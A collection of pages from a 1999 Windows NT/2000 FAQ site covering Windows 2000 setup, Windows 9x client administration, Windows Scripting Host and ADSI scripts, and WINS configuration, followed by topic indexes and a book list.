  • For CD-only installation, a bootable CD-ROM drive (so you can start Setup without using a floppy disk drive)
  • For floppy disk and CD installation, a high-density 3.5-inch disk drive as drive A and a CD-ROM drive
  • For network installation, one or more network adapters installed on your computer and access to the network share containing the Setup files.
  • A mouse or other pointing device

The minimum memory is the minimum memory and setup program performs a test to check you have that amount or the installation will not proceed (very annoying when I tried to install server on my portable which (then) only had 32MB of RAM). You can hack the txtsetup.sif files, however, to install either Server or Workstation on systems with less memory. There is no check on CPU type.

The 64bit Alpha processor will not be supported in Windows 2000.

This information is also in the file setup.txt on the Windows 2000 (NT 5.0 Beta) CD-ROM.


Q. Where is the Hardware Compatibility List for Windows 2000?

A. The HCL for Windows 2000 is supplied on the CD in both text and HTML Help format. It can also be found at http://www.microsoft.com/hcl/.


Q. When does Windows 2000 need rebooting?

A. Windows 2000 has reduced the number of functions which require a reboot from about 50 in NT 4.0 to 7 in Windows 2000.

Items such as:

  • Changing an IP address
  • Changing the mouse
  • Adding a new page file or changing its size
  • Adding plug and play devices
  • Adding new disks

all required reboots. Now the only items that require a reboot are:

  • Changing ISA adapter configuration
  • Changing the system font (the USER and Graphics Device Interface have to be recreated)
  • Adding and removing communication ports (due to possible jumper changes)
  • Changing the default system locale
  • Changing the computers name (but not domain)
  • Installing service packs or hotfixes

In Windows 2000 Server reboots are also needed for:

  • Running DCPROMO
  • Changing DNS suffix name
  • Switch language in Multilanguage edition
  • Installing Terminal Services
  • After installing Terminal Services most things require a reboot
  • Remove Gateway Services for Netware
  • Change DNS server's IP address


Q. When will Windows 2000 be released?

A. February 17th 2000 should see the product on shop shelves and should be released to manufacturing end of 1999. See http://www.microsoft.com/presspass/press/1999/Oct99/LaunchdtPR.htm for more information.


Q. Is build 2195 the final version of Windows 2000?

A. Yes, the last build is 2195 which has been released to manufacturing and will be in the shops February 17th 2000. The only difference is the final build will not have the 120 day expiry which the downloaded build 2195 has and that the CD's for 2195 that have been shipped to testers also has. You can check this with WinInfo (http://www.savilltech.com/wininfo.html)

Microsoft have changed there minds about the MSDN version however and the Windows 2000 build 2195 shipping with MSDN will be the FULL, no expiry version. In an effort to stop pirating it will have a hologram visible on both sides of the CD covering the entire surface!


Q. Where do I get updates for Windows 2000?

A. Normal service packs for Windows 2000 will be released but Microsoft are committed to provide more timely updates in the form of the Windows Update site which can be accessed from the Start Menu.

When selected Internet Explorer will be started and will connect to http://windowsupdate.microsoft.com/. Once there select the 'Products Updates' page. This then check the system and a list of fixes needed for your system will be displayed.

Select the Updates that are needed for your installation and click Download.

A summary of what will be downloaded is shown and click the 'Start Download' button to begin. Click Yes to the displayed agreement.

Depending on the downloaded fixes a reboot may be required and if needed a dialog will prompt you.

If you would like the updates in a non-WindowsUpdate form goto http://www.microsoft.com/windows2000/downloads/default.asp.

Also have a look at http://www.microsoft.com/windows2000/downloads/deployment/appcompat/default.asp which has an update to allow compatibility with a number of games/applications.


Q. How do I communicate with a Windows 95 client?

A. Enable the winpopup utility on all Windows 95 machines. The best way is to place winpopup in the Startup group under Program Files.

Other options include using Microsoft's System Management Server product and Hewlett Packards Desktop Administrator (DTA) (http://www.openview.hp.com/dta/).


Q. How can I administer my domain from a Windows95 client?

A. Install the server tools that are part of the Windows NT installation CD. Right click on the file <CD ROM>:\clients\srvtools\win95\srvtools.inf.

Other options are the Hyena product, http://www.adkins-resource.com/index.html, which I have not used but have been advised is very good.


Q. How do I force a 95 machine to logon to a domain?

A. Using the Policy editor, create a new profile, or edit your existing profile

  1. Double click the Default Computer
  2. If you are editing the profile using the NT profile editor move to the Windows 95 Network, if you are using the 95 policy editor move to the Network directory
  3. Move to the Logon tree and select "Require validation by Network for Windows access"
  4. You can also add a legal warning notice if you wish
  5. Save the policy in the Netlogon share (%systemroot%\system32\repl\import\scripts) as CONFIG.POL


Q. How do I enable Windows 95 machines to use Group policies?

Q. How do I enable Windows 9x machines to use Group policies?

A. Copy the file grouppol.dll from the windows9x installation CD to the system folder of each Windows 9x machine, e.g. c:\windows\system. You also need to apply the changes as supplied in the grouppol.reg file (in the same directory as grouppol.dll). This needs to be run by entering

C:\> regedit grouppol.reg

This adds the following entries (if you have problems check they exist)

- Registry key: HKEY_LOCAL_MACHINE\Network\Logon
Value name (STRING): PolicyHandler
Value data: GROUPPOL.DLL, ProcessPolicies

- Registry key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ MSNP32\NetworkProvider
Value name (STRING): GroupFcn
Value data: GROUPPOL.DLL, NTGetUserGroups

- Registry key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ NWNP32\NetworkProvider
Value name (STRING): GroupFcn
Value data: GROUPPOL.DLL, NWGetUserGroups

This could be automated by adding the copy and the registry update to a logon script. A grouppol.inf is also supplied which enables you to install copletely by right clicking on it and selecting install.

All of the above is performed if you install the Windows 9x system policy editor on a machine.


Q. How do I enable Load Balancing on a Windows 95 machine?

A. Follow procedures below:

  1. Start the policy editor
  2. From Network (or Windows 95 Network if from an NT machine) select Logon, validation
  3. Select Remote Update and Load Balance

This will enable a Windows 95 machine to look for the script from the logon server.


Q. How can I stop a Windows 95 machine acting as a browse master or backup browser?

A. To stop a Windows 95 machine acting as a browse master perform the following:

  1. On the Windows 95 machine start the Network Control panel applet (Right click on Network Neighborhood and select properties)
  2. Click the Configuration tab
  3. Check the list of installed network components for "File and Printer sharing for Microsoft Networks". If this is here goto step 5.
  4. If this is not installed click the Add button, select Service and click Add. Select Microsoft and select "File and Printer Sharing for Microsoft Networks" and click OK. Click OK to the configuration tab and when asked reboot the machine.
  5. Select "File and Printer Sharing for Microsoft Networks" and click Properties.
  6. In the property box click Browse Master and select Disabled in the Value box.
  7. Click OK


Q. Some of the Windows 95/98 clients do not show up in Network Neighborhood.

A. This is usually caused by the machines not having "File and Print Sharing" installed

  1. Start the Network control panel applet
  2. Click the button "File and Print Sharing" and then enable them.


Q. How can I stop my Windows 9x clients having to enter a separate Windows password when logging onto a domain?

A. In the old Windows for Workgroups days the admincfg.exe utility was used to disable password caching and a similar functionality exists in Windows 95 and Windows 98.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network
  3. From the Edit menu menu select New - DWORD Value
  4. Enter a name of DisablePwdCaching and press Enter
  5. Double click on the new value and set to 1. Click OK
  6. Close the registry editor and reboot the machine

Upon reboot clients will no longer have to enter a local password, just the domain.

When clients use the Password control panel applet the "Change Windows Password" button under "Windows password" will be grayed out and only "Other passwords can be set". Clients would then select "Microsoft Networking" as per normal


Q. How do I enable profiles on a Windows 9x machine?

A. By default all users of a Windows 9x machine share the same profile, however machines can be configured so that each logon name can have individual settings such as background, colours etc. To enable multiple profiles perform the following:

  1. Start the Passwords Control Panel applet
  2. Click the "User Profiles" tab
  3. Check the "Users can customize their preferences tab". You also have to the options to select additional:
    - Include desktop icons and Network Neighbourhood
    - Include Start menu and Program groups in user settings
  4. Click OK
  5. You will have to restart the computer

Once restarted when you logon for the first time as a user on the machine you will be given the option to retain options. Click Yes.

The profiles are stored in the C:\windows\profiles\<username> directory (or wherever windows is installed).

If you wanted to automate this process you could create a system policy using the Windows 9x policy editor


Q. How do I enable roaming profiles for Windows 9x machines?

A. Once you have enabled individual profiles on the Windows 9x machines a copy of the profile is automatically stored in the users home directory (which is normally on a network server) and will consist of a number of files and a user.dat which is the Windows 9x equivalent of ntuser.dat.

Therefore to enable roaming profiles for Windows 9x machines nothing needs doing except the following:

  1. Ensure all users are configured with a home directory on a network server (this is configured using User Manager - Profiles button in Windows NT 4.0, and the Directory Management MMC - Profile tab in Windows NT 5.0)
  2. Make sure the users have at least read, write and modify to their home directory areas otherwise the profile cannot be copied but no error will be given


Q. Can Windows NT and Windows 9x share a roaming profile?

A. No. The main problem is that Windows 9x clients store the profile in the root of their home directory whereas Windows NT clients store the profile in the "profile path" location. Even if you made these the same it would still not work as there are differences in the registry structure and Windows NT stores the user portion of the registry in the file NTUSER.DAT, Windows 9x stores in USER.DAT.

Sorry!


Q. How do I install the Windows 9x Policy Editor?

A. To install the Windows 9x Policy Editor on a Windows 9x machine perform the following:

  1. Start the Add/Remove Programs control panel applet (Start - settings - control panel - add/remove programs)
  2. Click Windows Setup tab
  3. Click Have Disk
  4. Click the Browse button and select the Netadmin\poledit directory of the Windows 98 resource kit. Click OK
  5. Check the "System Policy Editor" box and click Install
  6. Close the Add/Remove control panel applet box

The System Policy Editor will now be available under Start - Programs - Accessories - System Tools - System Policy Editor.

To install the Windows 9x policy editor under an NT machine just copy the Netadmin\Poledit directory to a folder on the Windows NT machine, e.g. 98poledt and create a shortcut on your desktop or Start menu to poledit.exe. When you first run it, it will load the NT .adm files. Remove these using Options - Policy Template and then re-add those located in the 98poledt folder (normally common.adm and windows.adm). Be aware - Profiles created under NT, even with the Windows 9x version of the policy editor will not be read correctly from a Windows 9x machine so the config.pol file needed for Windows 9x machines should be created under a Windows 9x machine and then copied to the netlogon share of the domain controller.

Installing under NT is only useful for experimenting and it will not be able to load profiles created by a Windows 9x machine.


Q. How can I stop Windows 9x profiles being copied to the home directory?

A. By default if individual profiles are configured on a Windows 9x machine the profile is also copied to the users home directory (usually a network share) which means the user has the same desktop settings on any 9x machine. If you don't want this behaviour but still want individual settings perform the following on each machine:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\Network\Logon
  3. From the Edit menu select New - DWORD value
  4. Enter a name of UseHomeDirectory and press Enter
  5. Double click the new value and set to 0
  6. Close the registry editor
  7. Reboot the machine

Once the reboot is complete the users profile will no longer be copied to the network share.


Q. How do I implement local system policies on Windows 9x?

A. System policies are normally located at domain controllers however local system policies can be implemented as follows. First you will need the Windows 9x poledit.exe tool which is located in the

  • Admin\Apptools\Poledit folder on the Windows 95 CD
  • Tools\Reskit\Netadmin\Poledit folder on the Windows 98 CD

You should use the Add/Remove Programs tool in Control Panel to install System Policy Editor.

Once you have the utility you should proceed as follows:

  1. Click the Start button, and then click Run.
  2. In the Open box, type "poledit" (without quotation marks), and then click OK.
  3. In System Policy Editor, click Open Registry on the File menu.
  4. Double-click the Local Computer icon, then the Network icon, and then double-click the Update icon.
  5. Click the Remote Update check box, and then click Manual in the Update Mode box. In the Path box, type the path and file name for your system policy file. You can place this file in any folder on the hard disk. Click OK. This file MUST have a .pol extension or you will receive a failuer in step 8.
  6. On the File menu, click Save. On the File menu, click New File.
  7. Select the system policy settings you want to use.
  8. On the File menu, click Save As. Save the file with the name and path you used in step 5.
  9. Quit System Policy Editor, and then restart Windows.

It would be pertinent to remove Poledit after you've set the policy to avoid users changing it. You can even run poledit directly from the CD normally.


Q. I have lost my Windows 98 installation key, how can I find it?

A. The installation key is stored in the Windows 98 registry and can be checked as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
  3. Double click the ProductKey name and copy
  4. Click OK
  5. Close the registry editor

You can also get the key by opening the system properties dialog (Win-Break, Alt + Open My Computer). It appears under the "Registered To" details.


Q. How do I install the Windows 9x directory services client?

A. Windows 2000 ships with a Windows 9x directory services client which allows 95 and 98 to used some of the more advanced features of the Active Directory. To install perform the following:

  1. Insert the Windows 2000 Server
  2. Move to the Clients\Win9x folder
  3. Double click on Dsclient.exe
  4. Click Next to the wizard start-up screen
  5. Select the 'I accept this agreement' on the license screen and click Next
  6. Click Next to the installation start dialog box
  7. A number of files will be installed on the client machine
  8. Once the file copy has completed click Finish to the wizard
  9. Click Yes to restart the machine

You could install the client from a network share by copying the Dsclient.exe to a share on a server.

With the DS client installed you can perform full searches on the Active Directory, for example selecting Start - Find - Printers you can enter your location and it will find printers near you!

This installation also installs the files Secur32.dll, Msnp32.dll, Vredir.vxd, and Vnetsup.vxd which support enhanced authentication. Even if you uninstall the Directory Services Client these files will remain.


Q. A user has forgotten the local Windows 9x password, how can it be reset?

A. Unlike in a Windows domain, the local Windows 9x passwords are each stored in their own .pwl file in the base Windows directory (C:\windows).

To reset a password just delete the relevant .pwl file, e.g. johnsavi.pwl for John Savill.


Q. How do I enable remote registry editing for Windows 9x clients?

A. Though Windows NT Workstation has remote registry editing installed already, Windows 95 and Windows 98 do not. The installation process is similar on both operating systems, though the source of the necessary drivers differs with each version.

It is necessary to install a network service to enable remote registry editing. This service, REGSERV, is found in the following location:

  • Windows 95: Windows 95 distribution CD, in the directory \tools\reskit\netadmin\remotreg
  • Windows 98: Windows 98 distribution CD, in the directory \admin\nettools\remotreg
In each operating system the installation is identical:
  1. Open the Control Panel.
  2. Start the Network applet
  3. Click the Add button in the Configuration tab.
  4. Select Service from the list, and click the Add button.
  5. Click the Have Disk button, and provide the directory information as provided above.
  6. Select Microsoft Remote Registry.
  7. Install the Remote Registry service, and reboot the computer when prompted.


Q. How do I connect a Windows 95 to NT using a null modem cable?

A. A null modem cable can be used to connect a 95 and a NT machine together with one as the server, the other as the host.

If you use Windows NT as the server, start the RAS Server Service on the Windows NT computer and make sure the user who is connecting has RAS Dial- in permissions. The Windows 95 guest should connect using the Direct Cable Connect utility and should have their serial adapter configured for the same speed connection as the Windows NT computer. If you have 95 as the server configure the Windows NT computer with a Phonebook entry that uses the null modem 19200 speed (or whatever speed is set on the Windows 95 computer) and dial the Windows 95 computer.

Under Windows NT the serial cable device is installed/configured in the Modem utility in Control Panel and is listed under Standard Modem Types as "Dial-Up Networking Serial Cable between 2 PCs."

For Windows 95 the serial cable device is configured in the System utility in Control Panel. Click the Device Manager tab, double-click Modems, and then double- click Serial Cable On ComX (where 'x' is the COM port where your cable is attached.) Make sure the speed set here matches the speed of the Windows NT serial connection.

For a list of supported cables see http://support.microsoft.com/support/kb/articles/Q142/3/24.ASP


Q. My Windows 9x clients cannot see shares over 12 characters.

A. Windows NT allows shares to be created that are more than 12 characters and Windows NT based machines can see and use these quite happily. Windows 9x clients however can only connect to shares of 12 characters or less.

There is no fix for this and see if you require Windows 9x clients to connect to a share make sure it is 12 characters or less.


Q. How do I enable NTLM 2.0 support in Windows 98?

A. Windows 2000 supplies a directory services client which can be installed as described in 'Q. How do I install the Windows 9x directory services client? '.

To verify you have the required version, right click on c:\windows\System\Secur32.dll in Explorer and choose Properties.
The Version tab should read Microsoft Win32 Security Services (Export Version) or Microsoft Win32 Security Services (US and Canada Only).

To enable NTLM 2.0 after installing the directory services client on Windows 9x machines perform the following on the domain controllers:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  3. Double click LMCompatibilityLevel (if it does not exist create of type REG_DWORD)
  4. Set to 3
  5. Click OK
  6. Reboot


Q. How can I fool a program into thinking my Windows 9x installation is Windows 3.11?

A. Yuck! If you do need to do this a utility is supplied with Windows 95 and 98 called mkcompat.exe which will make a program think its actually running under Windows 3.1 etc.

  1. Click the Start button, click Run, type "mkcompat" (without quotation marks) in the Open box, then click OK
  2. On the File menu, click Choose Program
  3. Select the program's executable file so that it appears in the File Name box, then click the Open button
  4. Click the 'Lie About Window's Version Number' check box to select it
  5. On the File menu, click Save
  6. Quit the Make Compatible tool
  7. Try running the program again


Q. What is the Windows Scripting Host?

A. The Windows Scripting Host (WSH) is a tool that will allow you to run Visual Basic Scripting Edition and JScript within the base Operating System, either on Windows 95 or Windows NT 4.0. Using the scripting languages you already know you can now write script to automate common tasks, and to create powerful macros and logon scripts.

Windows NT 5.0 natively supports the Windows Scripting Host.


Q. Where can I get the Windows Scripting Host?

A. The Windows Scripting Host software can be downloaded from http://msdn.microsoft.com/scripting/ along with a large amount of help files/samples.

The JScript and VScript engines you need are supplied with Internet Explorer 3.01 and above, however the latest versions are supplied with Internet Explorer 4.01. These engines can be downloaded separately from the same address as the WSH.


Q. How do I install the Windows Scripting Host software?

A. When the software is downloaded from http://msdn.microsoft.com/scripting/ a single file is fetched, WSH.EXE.

Switches for WSH.EXE are

/Q - Quiet Mode
/T:<full path> - Specifies temporary working folder
/C - Extract files only to the folder when used also with /T
/C:<CMD> - Override Install Command defined by author

To install perform the following:

  1. Start WSH.EXE either by running or clicking in Explorer
  2. Click Yes to the installation confirmation
  3. Click Yes to the license agreement
  4. Click OK to the install success message.

If you wanted to install as part of a logon script or the like you would use

C:\> wsh /q

Which then asks no questions and gives no confirmations. You could check to see if WSH is installed and only install if not found, e.g.

if not exist %systemroot%\system32\wscript.exe \\<server>\<share>\wsh.exe /q

Where \\<server>\<share> is a share that holds the WSH.EXE image.


Q. Where can I get more information on WSH?

A. There are a number of sites to get information

  • http://msdn.microsoft.com/scripting/
  • http://msdn.microsoft.com/scripting/windowshost/docs/reference/whitepaper.htm
  • http://msdn.microsoft.com/scripting/windowshost/docs/reference/objectmodel.htm
  • http://wsh.glazier.co.nz/frame.asp?target=faq/wshfaq.asp
  • http://www.winscripter.com
  • http://ourworld.compuserve.com/homepages/Guenter_Born/index0.htm

An excellent electronic book can be purchased online from http://ourworld.compuserve.com/homepages/Guenter_Born/WSHBazaar/WSHBazaar.htm and is first class, I recommend it.

There are three books available that I know of

  • Introducing Windows Scripting Host for Microsoft Windows 98
  • Sam's Teach Yourself Windows Scripting Host in 21 Days
  • Windows Scripting Host Tutorial which is available in Electronic format here

For more information on ADSI see

  • http://www.15seconds.com/focus/ADSI.htm


Q. How do I create a new user in NT using ADSI?

A. Use the following ADSI script.

On Error Resume Next
strUser="UserID"
Set oDomain=GetObject("WinNT://YourDomain")
Set oUser=oDomain.Create ("user", strUser)
If (err.number=0) Then 'If not 0 then user ID already exists
 oUser.SetInfo
oUser.SetPassword "mypassword"
oUser.SetInfo
End If

To update other elements of information you can use

set user=GetObject("WinNT://domain/user")
 User.FullName=FirstNameVar
 User.HomeDirectory=UserHome
 User.Profile="\\Server\Share\user"
 User.LoginScript=LogonScript
 User.Description="Description"
User.setinfo

For more FAQ's see the WSH FAQ at http://wsh.glazier.co.nz/frame.asp?target=faq/wshfaq.asp


Q. How do I run a windows script from the command line?

A. Normally when you run a windows scripting host file such as a visual basic or java script file from Explorer WSCRIPT.EXE is executed and runs the script using the necessary script plug-in.

To run from the command line use CSCRIPT.EXE which has a number of optional parameters as follows:

//B Batch mode: Suppresses script errors and prompts from displaying
//D Enable Active Debugging
//E:engine Use engine for executing script
//H:CScript Changes the default scripting host to CScript.exe
//H:WScript Changes the default scripting host to WScript.exe (default)
//I Interactive mode (default, opposite of //B)
//Job:xxxx Execute a WSC job
//Logo Display logo (default)
//Nologo Prevent logo display: No banner will be shown at execution time
//S Save current command line options for this user
//T:nn Time out in seconds: Maximum time a script is permitted to run
//X Execute script in debugger when Active Debugging enabled

Yes you need to type '/' twice.

Suppose you had the following hello.vbs file:

Wscript.Echo "Hello"
Wscript.Quit 0

You would run with command

C:\> cscipt hello.vbs

which would print Hello to the command window. Typing

C:\> wscript hello.vbs

would bring up Hello in a window.


Q. How do I run a DOS command in WSH?

A. Its possible to run a DOS command from inside a WSH program using the following:

DIM objShell
set objShell = wscript.createObject("wscript.shell")
iReturn = objShell.Run("cmd.exe /C set var=hello, 1, TRUE)

You could use %Comspec% variable instead of cmd.exe if you wish. The /C closes the command window after the command is completed. The actual command set var=hello just creates an environment variable called var set to hello.


Q. How do I rename a file using WSH?

A. Using the MoveFile method on a FileSystem object will result in a file being renamed:

Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.MoveFile "file1.txt", "file2.txt"


Q. What is WINS?

A. WINS stands for Windows Internet Name Service. WINS is a NetBIOS Name Server that registers your NetBIOS names and resolves into IP addresses.

If you're using NetBIOS over TCP/IP you will need to have WINS running so that each can find out the correct IP address of the other to communicate.

Need to browse over an interdomain network? WINS!


Q. How does WINS work?

A. Once your machine is configured to point at a WINS server (and maybe a second backup WINS server);

  1. Upon startup, registers your NetBIOS name with WINS. This dynamic update means that you will ALWAYS get the name/IP mapping that is current.
    If there is already a machine out there with the same name, a request is sent to it by WINS. If it doesn't respond, you get the OK. If it is out there and alive, you get a negative name acknowledgment.
  2. Need to talk with machine XXX? Send a NetBIOS name query to the WINS server. (no broadcasts! no LMHOSTS!)
  3. If WINS finds a match, it will respond with the correct TCP/IP address of the target machine.


Q. How do I set up WINS?

A. WINS is a server service.
Go to Control Panel->Network->Services and install the Windows Internet Name Service.

If you have any non-WINS clients, add them in as static name->IP mappings.
Configure a WINS Proxy Agent if needed.
Configure WINS support on your DHCP server.

NT Workstation TCP/IP->Properties->WINS add the IP address of the WINS server (and your secondary if you have one).


Q. What is a WINS Proxy Agent?

A. If you have non-WINS machines on your subnet and want them to be visible participants, you will want a Proxy Agent to be active within this subnet.
A WINS Proxy Agent is a WINS client that allows non-WINS clients to participate, by listening for broadcast name requests and then forwards them to a WINS server. It then returns the result to the requesting client.

Use a Registry Editor (e.g. regedt32.exe) to open HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters and set the EnableProxy parameter to 1.


Q. How do I configure WINS static entries for a non-WINS client?

A. Go into WINS Manager (under Admin Tools)
Mappings->Static Mappings->Add Mappings enter the NAME and IP ADDRESS of the machine in question. Under TYPE usually you'll just enter as Unique. Now click ADD.


Q. How do I configure WINS to work with DHCP?

A. If the computer is a DHCP client, then at the DHCP server, go into DHCP Administrator (Admin Tools) and add two new SCOPE options:

  1. 044 WINS/NBNS Servers - add the address of WINS server(s)
  2. 046 WINS/NBT Node - configure as 0x8 (H-Node)


Q. How can I compress my WINS database?

A. NT Server ships with a utility called JETPACK.EXE which can be used to compact DHCP and WINS databases. To compact your WINS database perform the following:

  1. Start a command prompt (cmd.exe)
  2. Enter the following commands
    cd %SystemRoot%\SYSTEM32\WINS
    e.g. cd d:\winnt\system32\wins
    net stop WINS
    jetpack WINS.MDB TMP.MDB
    net start WINS

Note: While you stop the WINS service, clients using WINS to resolve addresses will fail unless another mechanism of name resolution is in place.

Jetpack actually compacts WINS.MDB into TMP.MDB, then deletes WINS.MDB and copies TMP.MDB to WINS.MDB.

For more information, see Knowledge base article Q145881 at http://support.microsoft.com/support/kb/articles/q145/8/81.asp


Q. WINS Automatic Backup does not run every 3 hours.

A. By default WINS backup will actually take place every 24 to 27 hours after the last backup completed.

To work around this perform the following:

  1. Create a batch file that stops and starts the WINS service, e.g. WINSRSTR.BAT
    @net stop wins
    @net start wins
    exit
  2. Configure Wins to backup the database on exit
  3. Schedule the WINSRSTR.BAT to run at whenever you want the database backed up, e.g.
    C:\> at 22:00 cmd /c "%systemroot%\winsrsrt.bat"


Q. WINS Log files are created in incorrect locations.

A. The WINS service creates a number of log files, J50.log or J50.chk, in the %systemroot%\system32\WINS directory. This is normal.

If these files are being created in other directories then it may cause a problem and stop the WINS service from starting. The log files can be created in different directories from one of the following reasons:

  • JETPACK.EXE is being run from the wrong directory. Perform running JETPACK you should always set the default directory to be %systemroot%\system32\WINS. If you don't and instead use the command
    C:\> C:\winnt\system32\jetpack.exe c:\winnt\system32\wins\wins.mdb tmp.mdb
    then the logs will be created in the wrong directory. For the correct way to perform JETPACK please see:
    Q. How can I compress my WINS database?
  • The "Enable Logging" check box in WINS Administrator is not selected. This will result in the log files being created in the %systemroot%\system32 directory.

If your system now has the log files in the wrong place and the WINS service will not start just copy the log files to the %systemroot%\system32\WINS directory and restart the service

C:\> net start wins

If the WINS service is running it will lock the file and you will not be able to delete them so you should perform the following:

  1. Stop the wins service
    C:\> net stop wins
  2. Backup the WINS data using the Backup Database function in the WINS manager
  3. Remove the files that are in the wrong directory and restore the data back to the directory
  4. Run JETPACK
  5. Restart the wins service
    C:\> net start wins
  6. Turn on Logging Enabled (WINS Manager - Server - Configuration - Advanced)


Q. WINS server is not being queried for entries in LMHOSTS after Service Pack 4.

A. Before Service Pack 4 a resolution request was always passed to a WINS server and only if no entry was found the LMHOSTS file checked.

Under Service Pack 4 any entry in the LMHOSTS file that has the #PRE qualifier (preloaded) will be used and the WINS server not queried. Therefore if you have incorrect entries in your LMHOSTS file it will prevent the WINS server from being queried so you should therefore edit the file %systemroot%\system32\drivers\etc\lmhosts (e.g. d:\winnt\system32\drivers\etc\lmhosts) and remove the offending entries.


Q. My WINS clients have stopped registering/querying the WINS server.

A. Tell-tail signs of clients that have stopped using WINS are as follows:

  • Unable to ping a remote computer (across a router) by its computer name (NetBIOS name).
  • Cannot log on to a domain when the only domain controllers are on other side of routers.
  • Unable to perform Net View or Net Use computers that are on the other side of routers.
  • Cannot retrieve the browse list of a remote domain that the client sees in its local browse list.

A known problem exists when a secondary WINS is not defined as the algorithm is as follows

  1. When booting up, register your name with your primary WINS server. Or when performing a normal name query, first send the request to your primary WINS server.
  2. If the primary WINS server does not respond after 3 attempts, send your registration or query to the secondary WINS server listed.
  3. If the secondary WINS server does not respond after 3 attempts, send the query again to the primary WINS server, and continue alternating between primary and secondary WINS server until one of them responds.

The problem results if there is no secondary WINS server listed. The client may revert to B-Node (broadcast only) behavior and stops querying the WINS server completely.

To fix this make sure you have a secondary WINS server defined. If you only have one WINS server, list it in both the primary and secondary boxes.

Clients can be updated by starting the Network control panel applet, select the Protocols tab, select TCP/IP, select the WINS tab and fill in the boxes. If the clients use DHCP ensure the scope if configured with both primary and secondary.


Windows NT FAQ - Active Directory

Active Directory

  • What is the Active Directory?
  • A number of Active Directory descriptions.
  • How do I promote a server to a domain controller?
  • What is X.500 and LDAP?
  • What is the Global Catalog?
  • How do I configure a server as a Global Catalog?
  • What is the Schema?
  • What is a domain tree?
  • What is a domain forest?
  • What is a Kerberos trust?
  • How do I create a new Active Directory Site?
  • How do I move a server to a different site?
  • How can a server belong to more than one site?
  • How can I backup the Active Directory/System State?
  • How can I restore the Active Directory?
  • What are the FSMO roles in Windows 2000?
  • How can I change the RID master FSMO?
  • How can I change the PDC emulator FSMO?
  • How can I change the Infrastructure master FSMO?
  • How can I change the Domain naming master FSMO?
  • How can I change the Schema master FSMO?
  • What is Multi-master replication?
  • How can I move objects within my Forest?
  • How do I allow modifications to the Schema?
  • What are Tombstone objects?
  • How do I switch my 2000 domain to native mode?
  • How can I force replication between two domain controllers in a site?
  • How can I change replication schedule between two domain controllers in a site?
  • Can I rename a site?
  • What DNS entries are added when a Windows 2000 domain is created?
  • How can I manually defragment the Active Directory?
  • How can I audit the Active Directory?
  • How can I automate a server upgrade to a Domain Controller during installation?
  • How do I enable circular logging for the Active Directory?
  • I can't add a 4.0 BDC to my Windows 2000.
  • I can't have spaces in my Windows 2000 NetBIOS domain name, why?
  • How can I create trusts from the command line in Windows 2000.
  • How can I modify the number of objects searched in Windows 2000?
  • I can't create an OU/child domain with the same name from a single parent, why?
  • How are objects named in the Active Directory?
  • How does replication work intra-site in Windows 2000?
  • How can I change the intra-site replication interval in Windows 2000 for domain information?
  • How can I set the RPC port used for Intra-site replication?
  • What tools are available to monitor/change replication?
  • How do I remove a non-existent domain controller?
  • How do I remove a non-existent domain from the Active Directory?
  • How does Inter-site replication work in Windows 2000?
  • How do I create a new site link?
  • How do I disable site link transitivity?
  • How do I create a site link bridge?
  • How do I specify a bridge head server?
  • How do I disable the KCC?
  • How can I change the NetBIOS name of my Windows 2000 domain?
  • How can I monitor when the Knowledge Consistency Checker (KCC) is run?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Backup

Backups

  • What backup software is available for Windows NT?
  • How do I add a tape drive?
  • What types of backup does NTBACKUP.EXE support?
  • What backup strategies are available?
  • What options are available when using NTBACKUP.EXE?
  • Can I run NTBACKUP from the command line?
  • How do I schedule a backup?
  • How do I restore a backup?
  • How do I backup open files?
  • What permissions do I need to perform a backup?
  • How do I backup the registry?
  • How can I erase a tape using NTBackup that reports errors?
  • How can I remove a dead submitted Backup process?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Batch

Batch Files

  • What is a batch file?
  • What commands can be used in a batch file?
  • How can I perform an action depending on the arrival of a file?
  • How can I access files on other machines?
  • How can I send a message from a batch file?
  • The command I enter asks for input, can I automate the response?
  • How can I pass parameters to a batch file?
  • How can I stop my batch files outputing the command to screen as it runs it?
  • How do I call a batch file from within another batch file?
  • .bat files have lost their association.
  • How do I search files for a string from a batch file/command line?
  • Environment settings set by a batch file are not working.
  • How can I perform an operation on every machine on the network that is running?
  • How can you send a programs output to a NULL device?
  • How can I change colour within a batch file?
  • How can I call a subroutine in a batch file?
  • How do I enter freehand comments in my batch file without using 'rem'?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ Book Store

Windows NT FAQ Book Recommendations

Listed on this page are books that I have personally read and rated highly. I'm providing this in conjunction with Amazon.com so you can buy over the net. Please bear in mind however that many of these books are available from your local book store so you may be better trying there first and saving the shipping money.

Windows NT

NT and 2000 FAQ | The Windows NT and Windows 2000 Answer Book: A Complete Resource from the Desktop to the Enterprise - John Savill Over 800 solutions to common NT and Windows 2000 problems as well as step-by-step walk-throughs of nearly every common task you will need to perform in an NT environment including DNS installation, Windows 2000 upgrade, RAID configuration etc. Based on the top NT FAQ site, http://www.ntfaq.com but with a much improved text and many more diagrams/pictures.
NT Server for Dummies | Windows Nt Server 4 for Dummies A concise reference for building and running a network with Windows NT Server 4 this book provides the basics needed to set up and maintain a successful server-based network, including how to figure out the best configuration of NT server and client stations. The book includes up-to-date information about NT integration with components and functionality that have been added with NT 4 service packs and option packs
